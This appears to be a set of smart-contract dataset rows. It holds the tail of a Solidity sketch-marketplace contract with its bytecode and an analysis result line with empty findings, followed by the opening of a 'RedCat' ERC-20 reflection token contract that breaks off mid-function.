if (totalSupply == 0) {
return new uint256[](0);
}
uint256 count = 0;
uint256 totalCount = totalSupply;
uint256 sketchIndex;
for (sketchIndex = 0; sketchIndex <= totalCount; sketchIndex++) {
if (sketchIndexToOffer[sketchIndex].isForSale) {
count++;
}
}
if (count == 0) {
return new uint256[](0);
}
uint256[] memory result = new uint256[](count);
uint256 resultIndex = 0;
for (sketchIndex = 0; sketchIndex <= totalCount; sketchIndex++) {
if (sketchIndexToOffer[sketchIndex].isForSale) {
result[resultIndex] = sketchIndex;
resultIndex++;
}
}
return result;
}
function getSketchesOnOfferWithHolder(address _holder) external view returns (uint256[]) {
if (totalSupply == 0) {
return new uint256[](0);
}
uint256 count = 0;
uint256 totalCount = totalSupply;
uint256 sketchIndex;
for (sketchIndex = 0; sketchIndex <= totalCount; sketchIndex++) {
if (sketchIndexToOffer[sketchIndex].isForSale && (sketchIndexToHolder[sketchIndex] == _holder)) {
count++;
}
}
if (count == 0) {
return new uint256[](0);
}
uint256[] memory result = new uint256[](count);
uint256 resultIndex = 0;
for (sketchIndex = 0; sketchIndex <= totalCount; sketchIndex++) {
if (sketchIndexToOffer[sketchIndex].isForSale && (sketchIndexToHolder[sketchIndex] == _holder)) {
result[resultIndex] = sketchIndex;
resultIndex++;
}
}
return result;
}
function getSketchesWithHolder(address _holder) external view returns (uint256[]) {
uint256 count = balanceOf[_holder];
if (count == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](count);
uint256 totalCount = totalSupply;
uint256 resultIndex = 0;
uint256 sketchIndex;
for (sketchIndex = 0; sketchIndex <= totalCount; sketchIndex++) {
if (sketchIndexToHolder[sketchIndex] == _holder) {
result[resultIndex] = sketchIndex;
resultIndex++;
}
}
return result;
}
}
function getSketchesWithAuthor(address _author) external view returns (uint256[]) {
uint256 count = sketchAuthorCount[_author];
if (count == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](count);
uint256 totalCount = totalSupply;
uint256 resultIndex = 0;
uint256 sketchIndex;
for (sketchIndex = 0; sketchIndex <= totalCount; sketchIndex++) {
if (sketchIndexToAuthor[sketchIndex] == _author) {
result[resultIndex] = sketchIndex;
resultIndex++;
}
}
return result;
}
}
// -- Trading methods
modifier onlyHolderOf(uint256 sketchIndex) {
require(totalSupply != 0);
require(sketchIndex < totalSupply);
require(sketchIndexToHolder[sketchIndex] == msg.sender);
_;
}
// Transfer holdership without requiring payment
function transferSketch(address to, uint256 sketchIndex) external onlyHolderOf(sketchIndex) {
require(to != address(0));
require(balanceOf[msg.sender] > 0);
if (sketchIndexToOffer[sketchIndex].isForSale) {
sketchNoLongerForSale(sketchIndex); // remove the offer
}
sketchIndexToHolder[sketchIndex] = to;
balanceOf[msg.sender]--;
balanceOf[to]++;
Transfer(msg.sender, to, 1); // ERC-20
SketchTransfer(sketchIndex, msg.sender, to);
// If the recipient had bid for the Sketch, remove the bid and make it possible to refund its value
Bid storage bid = sketchIndexToHighestBid[sketchIndex];
if (bid.bidder == to) {
accountToWithdrawableValue[to] += bid.value;
sketchIndexToHighestBid[sketchIndex] = Bid(false, sketchIndex, 0x0, 0);
}
}
// Withdraw Sketch from sale (NOTE: does not cancel bids, since bids must be withdrawn manually by bidders)
function sketchNoLongerForSale(uint256 _sketchIndex) public onlyHolderOf(_sketchIndex) {
sketchIndexToOffer[_sketchIndex] = Offer(false, _sketchIndex, msg.sender, 0, 0x0);
SketchNoLongerForSale(_sketchIndex);
}
// Place a Sketch up for sale, to any buyer
function offerSketchForSale(uint256 _sketchIndex, uint256 _minSalePriceInWei) public onlyHolderOf(_sketchIndex) {
sketchIndexToOffer[_sketchIndex] = Offer(true, _sketchIndex, msg.sender, _minSalePriceInWei, 0x0);
SketchOffered(_sketchIndex, _minSalePriceInWei, 0x0);
}
// Place a Sketch up for sale, but only to a specific buyer
function offerSketchForSaleToAddress(uint256 _sketchIndex, uint256 _minSalePriceInWei, address _toAddress) public onlyHolderOf(_sketchIndex) {
require(_toAddress != address(0));
require(_toAddress != msg.sender);
sketchIndexToOffer[_sketchIndex] = Offer(true, _sketchIndex, msg.sender, _minSalePriceInWei, _toAddress);
SketchOffered(_sketchIndex, _minSalePriceInWei, _toAddress);
}
// Accept a bid for a Sketch that you own, receiving the amount for withdrawal at any time - note minPrice safeguard!
function acceptBidForSketch(uint256 sketchIndex, uint256 minPrice) public onlyHolderOf(sketchIndex) {
address seller = msg.sender;
require(balanceOf[seller] > 0);
Bid storage bid = sketchIndexToHighestBid[sketchIndex];
uint256 price = bid.value;
address bidder = bid.bidder;
require(price > 0);
require(price == uint256(uint128(price))); // length check for computeCut(...)
require(minPrice == uint256(uint128(minPrice))); // length check for computeCut(...)
require(price >= minPrice); // you may be accepting a different bid than you think, but its value will be at least as high
sketchIndexToHolder[sketchIndex] = bidder; // transfer actual holdership!
balanceOf[seller]--; // update balances
balanceOf[bidder]++;
Transfer(seller, bidder, 1);
sketchIndexToOffer[sketchIndex] = Offer(false, sketchIndex, bidder, 0, 0x0); // remove the offer
sketchIndexToHighestBid[sketchIndex] = Bid(false, sketchIndex, 0x0, 0); // remove the bid
uint256 ownerProceeds = computeCut(price);
uint256 holderProceeds = price - ownerProceeds;
accountToWithdrawableValue[seller] += holderProceeds; // make profit available to seller for withdrawal
accountToWithdrawableValue[owner] += ownerProceeds; // make cut available to auctioneer for withdrawal
SketchBought(sketchIndex, price, seller, bidder); // note that SketchNoLongerForSale event will not be fired
}
// Buy a Sketch that's up for sale now, provided you've matched the Offer price and it's not on offer to a specific buyer
function buySketch(uint256 sketchIndex) external payable {
Offer storage offer = sketchIndexToOffer[sketchIndex];
uint256 messageValue = msg.value;
require(totalSupply != 0);
require(sketchIndex < totalSupply);
require(offer.isForSale);
require(offer.onlySellTo == 0x0 || offer.onlySellTo == msg.sender);
require(messageValue >= offer.minValue);
require(messageValue == uint256(uint128(messageValue))); // length check for computeCut(...)
require(offer.seller == sketchIndexToHolder[sketchIndex]); // the holder may have changed since an Offer was last put up
address holder = offer.seller;
require(balanceOf[holder] > 0);
sketchIndexToHolder[sketchIndex] = msg.sender; // transfer actual holdership!
balanceOf[holder]--; // update balances
balanceOf[msg.sender]++;
Transfer(holder, msg.sender, 1);
sketchNoLongerForSale(sketchIndex); // remove the offer
uint256 ownerProceeds = computeCut(messageValue);
uint256 holderProceeds = messageValue - ownerProceeds;
accountToWithdrawableValue[owner] += ownerProceeds;
accountToWithdrawableValue[holder] += holderProceeds;
SketchBought(sketchIndex, messageValue, holder, msg.sender);
// Refund any bid the new buyer had placed for this Sketch.
// Other bids have to stay put for continued consideration or until their values have been withdrawn.
Bid storage bid = sketchIndexToHighestBid[sketchIndex];
if (bid.bidder == msg.sender) {
accountToWithdrawableValue[msg.sender] += bid.value;
sketchIndexToHighestBid[sketchIndex] = Bid(false, sketchIndex, 0x0, 0); // remove the bid
}
}
// Withdraw any value owed to:
// (a) a buyer that withdraws their bid or invalidates it by purchasing a Sketch outright for its asking price
// (b) a seller owed funds from the sale of a Sketch
function withdraw() external {
uint256 amount = accountToWithdrawableValue[msg.sender];
// Zero the pending refund before transferring to prevent re-entrancy attacks
accountToWithdrawableValue[msg.sender] = 0;
msg.sender.transfer(amount);
}
// Enter a bid, regardless of whether the Sketch holder wishes to sell or not
function enterBidForSketch(uint256 sketchIndex) external payable {
require(totalSupply != 0);
require(sketchIndex < totalSupply);
require(sketchIndexToHolder[sketchIndex] != 0x0); // can't bid on "non-owned" Sketch (theoretically impossible anyway)
require(sketchIndexToHolder[sketchIndex] != msg.sender); // can't bid on a Sketch that you own
uint256 price = msg.value; // in wei
require(price > 0); // can't bid zero
require(price == uint256(uint128(price))); // length check for computeCut(...)
Bid storage existing = sketchIndexToHighestBid[sketchIndex];
require(price > existing.value); // can't bid less than highest bid
if (existing.value > 0) {
// Place the amount from the previous highest bid into escrow for withdrawal at any time
accountToWithdrawableValue[existing.bidder] += existing.value;
}
sketchIndexToHighestBid[sketchIndex] = Bid(true, sketchIndex, msg.sender, price);
SketchBidEntered(sketchIndex, price, msg.sender);
}
function withdrawBidForSketch(uint256 sketchIndex) public {
require(totalSupply != 0);
require(sketchIndex < totalSupply);
require(sketchIndexToHolder[sketchIndex] != 0x0); // can't bid on "non-owned" Sketch (theoretically impossible anyway)
require(sketchIndexToHolder[sketchIndex] != msg.sender); // can't withdraw a bid for a Sketch that you own
Bid storage bid = sketchIndexToHighestBid[sketchIndex];
require(bid.bidder == msg.sender); // it has to be your bid
SketchBidWithdrawn(sketchIndex, bid.value, msg.sender);
uint256 amount = bid.value;
sketchIndexToHighestBid[sketchIndex] = Bid(false, sketchIndex, 0x0, 0);
// Refund the bid money directly
msg.sender.transfer(amount);
}
function computeCut(uint256 price) internal view returns (uint256) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerCut <= 10000. The result of this
// function is always guaranteed to be <= _price.
return price * ownerCut / 10000;
}
}
|
0x6060604052600436106101d75763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101dc57806313b6c8a81461026657806318160ddd1461027e5780631feee4fd146102a3578063313ce567146102d55780633ccfd60b146102fe57806348bf8f39146103115780635a3b7e421461035e5780635fb1f1d714610371578063648236e3146103d757806367e94ae0146103f057806370a0823114610403578063757de5731461042257806383b5ff8b146104385780638b2ad32e1461044b5780638b906ca51461046a5780638da5cb5b1461047557806392fe76481461048857806394a1d75c1461049e57806395d89b41146104b4578063a099e61a146104c7578063ae9dc04c146104dd578063b413519214610502578063b98e276914610521578063be4b102a14610537578063c40ee48b1461054d578063cf7f12ea146105a3578063cfdac910146105c2578063d1ea2786146105e1578063d2718fbe146105fa578063d67ca59c14610616578063d947c8d11461062c578063da323c941461064e578063e0df0e6a14610778578063e210150914610797578063f2fde38b146107b6578063f83d14e6146107d5578063fb84da41146107e0575b600080fd5b34156101e757600080fd5b6101ef6107ff565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561022b578082015183820152602001610213565b50505050905090810190601f1680156102585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561027157600080fd5b61027c60043561089d565b005b341561028957600080fd5b6102916108db565b60405190815260200160405180910390f35b34156102ae57600080fd5b6102b96004356108e1565b604051600160a060020a03909116815260200160405180910390f35b34156102e057600080fd5b6102e86108fc565b60405160ff909116815260200160405180910390f35b341561030957600080fd5b61027c610905565b341561031c57600080fd5b610327600435610950565b60405193151584526020840192909252600160a060020a031660408084019190915260608301919091526080909101905180910390f35b341561036957600080fd5b6101ef610987565b341561037c57600080fd5b6103846109f2565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103c35780820151838201526020016103ab565b505050509050019250505060405180910390f35b34156103e257600080fd5b61027c600435602435610b20565b34156103fb57600080fd5b610291610e4c565b341561040e57600080fd5b610291600160a060020a0360043516610e52565b341561042d57600080fd5b61027c600435610e64565b341561044357600080fd5b610291610ea3565b341561045657600080fd5b610384600160a060020a0360043516610ea9565b61027c600435611023565b341561048057600080fd5b6102b96111d9565b341561049357600080fd5b6102e86004356111e8565b34156104a957600080fd5b61027c6004356111fd565b34156104bf57600080fd5b6101ef61138f565b34156104d257600080fd5b6101ef6004356113fa565b34156104e857600080fd5b61027c600435602435600160a060020a0360443516611477565b341561050d57600080fd5b610291600160a060020a03600435166115df565b341561052c57600080fd5b61027c6004356115f1565b341561054257600080fd5b6102b9600435611717565b341561055857600080fd5b610563600435611732565b60405194151585526020850193909352600160a060020a0391821660408086019190915260608501919091529116608083015260a0909101905180910390f35b34156105ae57600080fd5b610291600160a060020a0360043516611770565b34156105cd57600080fd5b610384600160a060020a0360043516611806565b34156105ec57600080fd5b61027c6004356024356118e8565b341561060557600080fd5b61027c60043560ff60243516611a1a565b341561062157600080fd5b6101ef600435611a57565b341561063757600080fd5b61027c600160a060020a0360043516602435611ad4565b341561065957600080fd5b610664600435611d0c565b604051600160a060020a0380871660408301528516606082015260ff8416608082015260a0810183905260c0810182905260e08082528190602082019082018a818151815260200191508051906020019080838360005b838110156106d35780820151838201526020016106bb565b50505050905090810190601f1680156107005780820380516001836020036101000a031916815260200191505b50838103825289818151815260200191508051906020019080838360005b8381101561073657808201518382015260200161071e565b50505050905090810190601f1680156107635780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390f35b341561078357600080fd5b610291600160a060020a0360043516611eff565b34156107a257600080fd5b610384600160a060020a0360043516611f11565b34156107c157600080fd5b61027c600160a060020a0360043516611feb565b61027c60043561203d565b61027c602460048035828101929082013591813591820191013561231a565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108955780601f1061086a57610100808354040283529160200191610895565b820191906000526020600020905b81548152906001019060200180831161087857829003601f168201915b505050505081565b60005433600160a060020a039081169116146108b857600080fd5b6fffffffffffffffffffffffffffffffff811681146108d657600080fd5b600e55565b60055481565b600960205260009081526040902054600160a060020a031681565b60045460ff1681565b600160a060020a033316600081815260116020526040808220805492905590919082156108fc0290839051600060405180830381858888f19350505050151561094d57600080fd5b50565b601060205260009081526040902080546001820154600283015460039093015460ff909216929091600160a060020a039091169084565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108955780601f1061086a57610100808354040283529160200191610895565b6109fa612451565b6000806000610a07612451565b600060055460001415610a3b576000604051805910610a235750595b90808252806020026020018201604052509550610b18565b600094506005549350600092505b838311610a79576000838152600f602052604090205460ff1615610a6e576001909401935b600190920191610a49565b841515610aa6576000604051805910610a2357505990808252806020026020018201604052509550610b18565b84604051805910610ab45750595b9080825280602002602001820160405250915060009050600092505b838311610b14576000838152600f602052604090205460ff1615610b095782828281518110610afb57fe5b602090810290910101526001015b600190920191610ad0565b8195505b505050505090565b60008060008060008087600554600014151515610b3c57600080fd5b6005548110610b4a57600080fd5b60008181526009602052604090205433600160a060020a03908116911614610b7157600080fd5b33600160a060020a0381166000908152600660205260408120549198509011610b9957600080fd5b6000898152601060205260408120600381015460028201549198509650600160a060020a031694508511610bcc57600080fd5b6fffffffffffffffffffffffffffffffff85168514610bea57600080fd5b6fffffffffffffffffffffffffffffffff88168814610c0857600080fd5b87851015610c1557600080fd5b60008981526009602090815260408083208054600160a060020a031916600160a060020a03898116918217909255908b168085526006909352818420805460001901905580845292819020805460019081019091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef915190815260200160405180910390a360a06040519081016040908152600080835260208084018d9052600160a060020a0388168385015260608401829052608084018290528c8252600f9052208151815460ff1916901515178155602082015181600101556040820151600282018054600160a060020a031916600160a060020a03929092169190911790556060820151816003015560808201516004919091018054600160a060020a031916600160a060020a039092169190911790555060806040519081016040908152600080835260208084018d9052828401829052606084018290528c825260109052208151815460ff1916901515178155602082015181600101556040820151600282018054600160a060020a031916600160a060020a0392909216919091179055606082015160039091015550610dce85612445565b600160a060020a038089166000818152601160205260408082208054868c03908101909155825485168352918190208054860190559396509450908616918b907f78faa82aad88666af86f80c39b2e8c838fd1c3b02666408ac27daad30301b1509089905190815260200160405180910390a4505050505050505050565b600e5481565b60066020526000908152604090205481565b60005433600160a060020a03908116911614610e7f57600080fd5b61ffff81168114610e8f57600080fd5b612710811115610e9e57600080fd5b600d55565b600d5481565b610eb1612451565b6000806000610ebe612451565b600060055460001415610ef2576000604051805910610eda5750595b90808252806020026020018201604052509550611019565b600094506005549350600092505b838311610f55576000838152600f602052604090205460ff168015610f3e5750600083815260096020526040902054600160a060020a038881169116145b15610f4a576001909401935b600190920191610f00565b841515610f82576000604051805910610eda57505990808252806020026020018201604052509550611019565b84604051805910610f905750595b9080825280602002602001820160405250915060009050600092505b838311611015576000838152600f602052604090205460ff168015610fea5750600083815260096020526040902054600160a060020a038881169116145b1561100a5782828281518110610ffc57fe5b602090810290910101526001015b600190920191610fac565b8195505b5050505050919050565b6005546000908190151561103657600080fd5b600554831061104457600080fd5b600083815260096020526040902054600160a060020a0316151561106757600080fd5b60008381526009602052604090205433600160a060020a039081169116141561108f57600080fd5b3491506000821161109f57600080fd5b6fffffffffffffffffffffffffffffffff821682146110bd57600080fd5b506000828152601060205260409020600381015482116110dc57600080fd5b6000816003015411156111125760038101546002820154600160a060020a03166000908152601160205260409020805490910190555b60806040519081016040908152600182526020808301869052600160a060020a033316828401526060830185905260008681526010909152208151815460ff1916901515178155602082015181600101556040820151600282018054600160a060020a031916600160a060020a0392909216919091179055606082015160039091015550600160a060020a033316837f0da4e9222edcf4f027354f25851c7932ff2dd0af84b03e7a416da7fba6ecd0008460405190815260200160405180910390a3505050565b600054600160a060020a031681565b600b6020526000908152604090205460ff1681565b6005546000908190151561121057600080fd5b600554831061121e57600080fd5b600083815260096020526040902054600160a060020a0316151561124157600080fd5b60008381526009602052604090205433600160a060020a039081169116141561126957600080fd5b6000838152601060205260409020600281015490925033600160a060020a0390811691161461129757600080fd5b33600160a060020a0316837f46cbf8a5f7e81775c28a2fb74a25c4a145701b93c7d3d6795ce4f43a74965ab4846003015460405190815260200160405180910390a350600381015460806040519081016040908152600080835260208084018790528284018290526060840182905286825260109052208151815460ff1916901515178155602082015181600101556040820151600282018054600160a060020a031916600160a060020a0392909216919091179055606082015160039091015550600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050151561138a57600080fd5b505050565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108955780601f1061086a57610100808354040283529160200191610895565b60076020528060005260406000206000915090508054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108955780601f1061086a57610100808354040283529160200191610895565b6005548390151561148757600080fd5b600554811061149557600080fd5b60008181526009602052604090205433600160a060020a039081169116146114bc57600080fd5b600160a060020a03821615156114d157600080fd5b33600160a060020a031682600160a060020a0316141515156114f257600080fd5b60a06040519081016040908152600182526020808301879052600160a060020a033381168385015260608401879052851660808401526000878152600f909152208151815460ff1916901515178155602082015181600101556040820151600282018054600160a060020a031916600160a060020a03929092169190911790556060820151816003015560808201516004919091018054600160a060020a031916600160a060020a0392831617905583169050847f8d05f5b2a7f788598963ab2ff984557e36e132a53525cadc40d0a955df45b3b38560405190815260200160405180910390a350505050565b60116020526000908152604090205481565b6005548190151561160157600080fd5b600554811061160f57600080fd5b60008181526009602052604090205433600160a060020a0390811691161461163657600080fd5b60a0604051908101604090815260008083526020808401869052600160a060020a033316838501526060840182905260808401829052858252600f9052208151815460ff1916901515178155602082015181600101556040820151600282018054600160a060020a031916600160a060020a03929092169190911790556060820151816003015560808201516004919091018054600160a060020a031916600160a060020a0390921691909117905550817fd494e64287726a39c3f65e4892dbb3c9ecc73f05da44d17b043ab340817a62d360405160405180910390a25050565b600a60205260009081526040902054600160a060020a031681565b600f602052600090815260409020805460018201546002830154600384015460049094015460ff909316939192600160a060020a0391821692911685565b600160a060020a03811660009081526006602052604081205481808083151561179c57600094506117fd565b505060055460009150815b8181116117f957600081815260096020526040902054600160a060020a0387811691161480156117e5575060008181526010602052604090205460ff165b156117f1576001909201915b6001016117a7565b8294505b50505050919050565b61180e612451565b6000611818612451565b600160a060020a0384166000908152600c602052604081205492508080841515611862576000604051805910610eda57505990808252806020026020018201604052509550611019565b846040518059106118705750595b90808252806020026020018201604052509350600554925060009150600090505b8281116118e0576000818152600a6020526040902054600160a060020a03888116911614156118d857808483815181106118c757fe5b602090810290910101526001909101905b600101611891565b839550611019565b600554829015156118f857600080fd5b600554811061190657600080fd5b60008181526009602052604090205433600160a060020a0390811691161461192d57600080fd5b60a06040519081016040908152600182526020808301869052600160a060020a0333168284015260608301859052600060808401819052868152600f909152208151815460ff1916901515178155602082015181600101556040820151600282018054600160a060020a031916600160a060020a03929092169190911790556060820151816003015560808201516004919091018054600160a060020a031916600160a060020a03909216919091179055506000837f8d05f5b2a7f788598963ab2ff984557e36e132a53525cadc40d0a955df45b3b38460405190815260200160405180910390a3505050565b60005433600160a060020a03908116911614611a3557600080fd5b6000918252600b6020526040909120805460ff191660ff909216919091179055565b60086020528060005260406000206000915090508054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108955780601f1061086a57610100808354040283529160200191610895565b60055460009082901515611ae757600080fd5b6005548110611af557600080fd5b60008181526009602052604090205433600160a060020a03908116911614611b1c57600080fd5b600160a060020a0384161515611b3157600080fd5b600160a060020a03331660009081526006602052604081205411611b5457600080fd5b6000838152600f602052604090205460ff1615611b7457611b74836115f1565b60008381526009602090815260408083208054600160a060020a031916600160a060020a03898116918217909255339091168085526006909352818420805460001901905580845292819020805460019081019091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef915190815260200160405180910390a383600160a060020a031633600160a060020a0316847faecbdb5e16bc7979d2ad4ae978237d576b19dc558f55d90b83803a9811f6b0ee60405160405180910390a460008381526010602052604090206002810154909250600160a060020a0385811691161415611d06576003820154600160a060020a038516600090815260116020526040908190208054909201909155608090519081016040908152600080835260208084018790528284018290526060840182905286825260109052208151815460ff1916901515178155602082015181600101556040820151600282018054600160a060020a031916600160a060020a03929092169190911790556060820151600390910155505b50505050565b611d14612451565b611d1c612451565b6000806000806000600554600014151515611d3657600080fd5b6005548810611d4457600080fd5b600760008981526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611deb5780601f10611dc057610100808354040283529160200191611deb565b820191906000526020600020905b815481529060010190602001808311611dce57829003601f168201915b50505050509650600860008981526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611e995780601f10611e6e57610100808354040283529160200191611e99565b820191906000526020600020905b815481529060010190602001808311611e7c57829003601f168201915b50505060009a8b525050600960209081526040808b2054600a8352818c2054600b8452828d205460108552838e20600390810154600f90965293909d20909201549a9c939b600160a060020a039182169b92909116995060ff1697509095509350915050565b600c6020526000908152604090205481565b611f19612451565b6000611f23612451565b600160a060020a03841660009081526006602052604081205492508080841515611f6d576000604051805910610eda57505990808252806020026020018201604052509550611019565b84604051805910611f7b5750595b90808252806020026020018201604052509350600554925060009150600090505b8281116118e057600081815260096020526040902054600160a060020a0388811691161415611fe35780848381518110611fd257fe5b602090810290910101526001909101905b600101611f9c565b60005433600160a060020a0390811691161461200657600080fd5b600160a060020a038116151561201b57600080fd5b60008054600160a060020a031916600160a060020a0392909216919091179055565b6000818152600f6020526040812060055490913491819081908190151561206357600080fd5b600554871061207157600080fd5b855460ff16151561208157600080fd5b6004860154600160a060020a031615806120ab5750600486015433600160a060020a039081169116145b15156120b657600080fd5b60038601548510156120c757600080fd5b6fffffffffffffffffffffffffffffffff851685146120e557600080fd5b6000878152600960205260409020546002870154600160a060020a0390811691161461211057600080fd5b6002860154600160a060020a0316600081815260066020526040812054919550901161213b57600080fd5b60008781526009602090815260408083208054600160a060020a03338116600160a060020a031990921682179092559088168085526006909352818420805460001901905580845292819020805460019081019091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef915190815260200160405180910390a36121cb876115f1565b6121d485612445565b60008054600160a060020a03908116825260116020526040808320805485019055878216808452928190208054858b0390810190915593965092945033169189907f78faa82aad88666af86f80c39b2e8c838fd1c3b02666408ac27daad30301b1509089905190815260200160405180910390a4506000868152601060205260409020600281015433600160a060020a0390811691161415612311576003810154600160a060020a033316600090815260116020526040908190208054909201909155608090519081016040908152600080835260208084018b9052828401829052606084018290528a825260109052208151815460ff1916901515178155602082015181600101556040820151600282018054600160a060020a031916600160a060020a03929092169190911790556060820151600390910155505b50505050505050565b600e54341461232857600080fd5b610100831061233657600080fd5b62100000811061234557600080fd5b60008054600160a060020a03908116825260116020908152604080842080543401905560058054855260098352818520805433909516600160a060020a0319958616811790915581548652600a845282862080549095168117909455928452600c825280842080546001019055915483526007905290206123c7908585612463565b5060055460009081526008602052604090206123e4908383612463565b50600160a060020a033316600081815260066020526040908190208054600101905560055491907ff9a012001e2900f8bd52e83ced7f75ed41f4e8b1496492a92a9443dd26aced26905160405180910390a350506005805460010190555050565b600d5461271091020490565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106124a45782800160ff198235161785556124d1565b828001600101855582156124d1579182015b828111156124d15782358255916020019190600101906124b6565b506124dd9291506124e1565b5090565b6124fb91905b808211156124dd57600081556001016124e7565b905600a165627a7a72305820bda93a08d5a44f6ec4d4d3bc9e11c91c6c1813e371221de09eb2ac2eca0039100029
|
{"success": true, "error": null, "results": {}}
| 3,510 |
0x9711fdc76f40f42d592260a314da81c0082c0026
|
/**
*/
/** Telegram: https://t.me/RedCatEth
Website: https://redcat.live
*/
/**
//SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RedCat is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "RedCat";
string private constant _symbol = "RedCat";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xa34168AB51329ff773070915AB79A96FCeD06cA4);
_feeAddrWallet2 = payable(0x80b45F9E28DbF8993B33F2dC2A9a3C97abbdf5EE);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
